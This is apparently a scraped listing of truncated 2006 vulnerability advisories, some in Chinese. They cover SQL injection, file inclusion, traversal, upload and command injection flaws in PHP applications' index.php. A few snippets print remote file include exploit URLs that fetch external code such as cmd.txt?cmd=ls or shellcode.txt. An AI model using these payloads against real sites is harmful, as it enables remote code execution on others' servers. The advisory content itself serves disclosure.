CVE-2006-6446

CVE-2006-6446 describes an SQL injection vulnerability in index.php of iWare Professional 5.0.4, triggered when magic_quotes_gpc is disabled. An attacker can remotely execute arbitrary SQL commands via the D parameter. The entry notes the provenance as third‑party information and provides CVSS 2....

CVE-2006-6446: Undefined Security Weakness

SQL injection vulnerability in index.php in iWare Professional 5.0.4, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the D parameter. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information...

Lizge Index.PHP远程文件包含漏洞

Lizge是一款基于PHP的WEB应用程序。 Lizge不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的'lizge'和'bade'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Lizge Lizge V.20 http://www.lizge.com/ http://www.example.com/target/lizgepath//index.php?lizge=http://www.example.com/cmd.txt?cmd=ls...

FusionPHP Fusion News Index.PHP远程文件包含漏洞

Fusion News是一款基于PHP的新闻管理程序。 Fusion News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是脚本对用户提交的WEB参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Fusionphp Fusion News 3.7 http://www.fusionphp.net/index.php?cat=fnews&page=features !/usr/bin/perl Aria-Security.net Advisory Discovered by: OUTLAW...

CVE-2006-6392: Undefined Security Weakness

Directory traversal vulnerability in index.php in plx Web Studio aka plxWebDev plx Pay 3.2 and earlier allows remote attackers to include and execute arbitrary local files, or obtain user credentials and other sensitive information, via a .. dot dot in the read parameter. NOTE: The provenance of...

CVE-2006-6347

Unrestricted file upload vulnerability in TFT-Gallery allows remote authenticated administrators to upload arbitrary .php files, possibly using admin/index.php. NOTE: this can be leveraged with CVE-2006-1412 to create a remote unauthenticated vector...

CVE-2006-6339: Undefined Security Weakness

SQL injection vulnerability in sites/index.php in deV!Lz Clanportal DZCP before 1.3.6.1 allows remote attackers to execute arbitrary SQL commands via the show element in a GET request...

CVE-2006-6347: Undefined Security Weakness

Unrestricted file upload vulnerability in TFT-Gallery allows remote authenticated administrators to upload arbitrary .php files, possibly using admin/index.php. NOTE: this can be leveraged with CVE-2006-1412 to create a remote unauthenticated vector...

CVE-2006-6338: Undefined Security Weakness

Unrestricted file upload vulnerability in upload/index.php in deV!Lz Clanportal DZCP before 1.3.6.1 allows remote attackers to upload and execute arbitrary .php files by embedding PHP code in a JPEG or GIF file that is uploaded to inc/images/uploads/userpics/...

CVE-2006-6328

Directory traversal vulnerability in index.php for TorrentFlux 2.2 allows remote attackers to create or overwrite arbitrary files via sequences in the aliasfile parameter...

CVE-2006-6329

index.php for TorrentFlux 2.2 allows remote attackers to delete files by specifying the target filename in the delfile parameter...

CVE-2006-6330

index.php for TorrentFlux 2.2 allows remote registered users to execute arbitrary commands via shell metacharacters in the kill parameter...

CVE-2006-6329

CVE-2006-6329 affects TorrentFlux 2.2. The vulnerability: index.php permits remote deletion of files by supplying the target filename in the delfile parameter. This is a remote, unauthenticated-like action (network impact) with potential partial integrity/availability impact as per the NVD CVSS, ...

CVE-2006-6330

CVE-2006-6330 affects TorrentFlux 2.2. The vulnerability is in index.php where the kill parameter accepts shell metacharacters, allowing remote registered users to execute arbitrary commands. Root cause: unsafely handling the kill parameter enables command execution via the shell. Impact is descr...

CVE-2006-6330: Undefined Security Weakness

index.php for TorrentFlux 2.2 allows remote registered users to execute arbitrary commands via shell metacharacters in the kill parameter...

Knusperleicht FAQ Script Index.PHP远程文件包含漏洞

Knusperleicht FAQ是一款基于PHP的FAQ管理程序。 Knusperleicht FAQ不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的"faqpath"参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Knusperleicht FAQ 1.0 http://knusperleicht.at/index.php?knuspi=phpecke...

Knusperleicht NewsLetter Index.PHP远程文件包含漏洞

Knusperleicht NewsLetter是一款基于PHP的新闻管理程序。 Knusperleicht NewsLetter不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的"NLPATH"参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Knusperleicht NewsLetter 3.5 http://knusperleicht.at/index.php?knuspi=phpecke http://example.com/Script...

CVE-2006-6328: Undefined Security Weakness

Directory traversal vulnerability in index.php for TorrentFlux 2.2 allows remote attackers to create or overwrite arbitrary files via sequences in the aliasfile parameter...

CVE-2006-6329: Undefined Security Weakness

index.php for TorrentFlux 2.2 allows remote attackers to delete files by specifying the target filename in the delfile parameter...

freeqboard-rfi.txt

freeqboard = 1.1 qbpath Remote File Include Vulnerability Author: Mr.3FReeT Softname: freeqboard code in : about.php , contact.php , delete.php , faq.php , index.php include "config.php"; include $qbpath."incs/mysql.php"; Exploit : """""""" www.site.com/path/index.php?qbpath=shellcode.txt?...